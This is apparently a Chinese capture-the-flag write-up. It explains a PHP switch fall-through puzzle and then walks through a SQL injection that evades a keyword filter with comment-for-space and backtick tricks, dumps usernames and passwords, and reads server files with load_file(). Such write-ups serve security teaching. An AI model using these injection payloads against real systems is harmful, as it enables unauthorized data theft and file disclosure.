打开环境,界面有一段代码
<?php include("secret.php"); if(isset($_GET['c'])){ $c = intval($_GET['c']); sleep($c); switch ($c) { case 1: echo '$url'; break; case 2: echo '@A@'; break; case 555555: echo $url; case 44444: echo "@A@"; break; case 3333: echo $url; break; case 222: echo '@A@'; break; case 222: echo '@A@'; break; case 3333: echo $url; break; case 44444: echo '@A@'; case 555555: echo $url; break; case 3: echo '@A@'; case 6000000: echo "$url"; case 1: echo '@A@'; break; } } highlight_file(__FILE__);
如果没有break的话就会继续执行下去
这里传参?c=3会出现如下页面
访问这个php,有个输入框,感觉是sql注入
查看源代码,发现过滤了一些关键字
过滤的关键词有information_schema.tables,information_schema.columns,linestring,空格,polygon。在这里提供一种绕过的方法——反引号
反引号:它是为了区分MYSQL的保留字与普通字符而引入的符号。
例如information_schema.tables和information_schema.`tables`都可以使用。
网页的弹窗使得我们不容易观察,我们直接在源代码页面进行注入。
首先查询几列
?query=1/**/order/**/by/**/1#
发现只有一列
查询数据库名
-1/**/union/**/select/**/database()#
爆表名
-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web'#
爆字段
-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'#
爆数据
-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content#
我们发现数据库中并没有我们想要的flag,但是有一条提示tell you a secret,secert has a secret… 所以很有可能flag在secret.php中,现在就有一个问题,我们怎么从数据库中查看文件内容呢,mysql提供了读取本地文件的函数load_file()
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
查看源代码,发现
那我们再获取一下/real_flag_is_here里的数据
-1/**/union/**/select/**/load_file('/real_flag_is_here')
查看源代码,获得flag